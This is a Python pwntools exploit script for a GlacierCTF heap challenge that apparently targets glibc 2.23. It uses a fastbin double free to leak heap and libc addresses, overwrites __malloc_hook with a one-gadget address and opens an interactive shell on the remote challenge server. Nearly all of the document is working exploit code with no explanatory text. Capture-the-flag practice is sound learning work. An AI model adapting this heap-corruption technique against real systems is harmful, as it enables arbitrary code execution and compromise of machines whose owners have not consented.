fastbin dup into malloc hook glibc 2.23

solve.py

from pwn import *
import binascii
context.terminal = ['alacritty', '-e', 'zsh', '-c']


# https://ctftime.org/writeup/26767
# gdb hack
def _new_binary():
	return "gdb-gef"
gdb.binary = _new_binary

p = remote('pwn.glacierctf.com',13377, level='debug')
#p = process("./old_patched", level="debug")
libc = ELF("./libc/libc.so.6")


def add(index, size):
	p.recvuntil("> ")
	p.sendline("1")
	p.recvuntil("idx: ")
	p.sendline(f"{index}")
	p.recvuntil("size: ")
	p.sendline(f"{size}")

def write(index, data):
	p.recvuntil("> ")
	p.sendline("3")
	p.recvuntil("idx: ")
	p.sendline(f"{index}")
	p.recvuntil("contents: ")
	p.send(data)

def view(index):
	p.recvuntil("> ")
	p.sendline("4")
	p.recvuntil("idx: ")
	p.sendline(f"{index}")

def delete(index):
	p.recvuntil("> ")
	p.sendline("2")
	p.recvuntil("idx: ")
	p.sendline(f"{index}")

add(1, 0x40) 
add(2, 0x40) 
add(3, 0x40) 
add(4, 0x40) 
add(5, 0x40) 

delete(1) 
delete(2) 
delete(1)

# leak
view(1)
p.recvuntil("data: ")
hleak = p.recvline().rstrip(b"\n").rstrip(b"[1] Add")
log.info(f"{hleak} ({len(hleak)})")
hbase = u64(hleak+b"\x00\x00") #- 0x50
log.info(f"Heap base {hex(hbase)}")

# 1 is now twice in fast bin list
# A B A


# malloc(0,0x40,p64(heap_leak-0x10)+p64(0x0)*6+p64(0x51))

add(1,0x40)
write(1, p64(hbase-0x10)+p64(0)*6+p64(0x51))

add(2, 0x40) # A 
add(6, 0x40) # B

add(7,0x40) # Fake
write(7, p64(0)+p64(0xf1))
delete(2)

#gdb.attach(p, '''
#set follow-fork-mode child
#continue
#''')

view(2)
p.recvuntil("data: ")
cleak = p.recvline().rstrip(b"\n").rstrip(b"[1] Add")
log.info(f"{cleak} ({len(cleak)})")
cbase = u64(cleak+b"\x00\x00") #- 0x50
cbase -= 0x3C4B78 # offset from gdb
log.info(f"Libc base {hex(cbase)}")

add(1,0x40)
add(2,0x40)
add(3,0x40)

add(1,0x60)
add(2,0x60)
add(3,0x60)

delete(1)
delete(3)
delete(1)

malloc_hook = cbase+0x3C4B10 - 0x23
add(1,0x60)
write(1,p64(malloc_hook))
add(6,0x60)
add(3,0x60)
add(4,0x60)
# one gadget
write(4, b"C"*3+2*p64(0)+p64(cbase+0x4527a))
add(1,0x10) # just trigger

p.interactive()
p.close()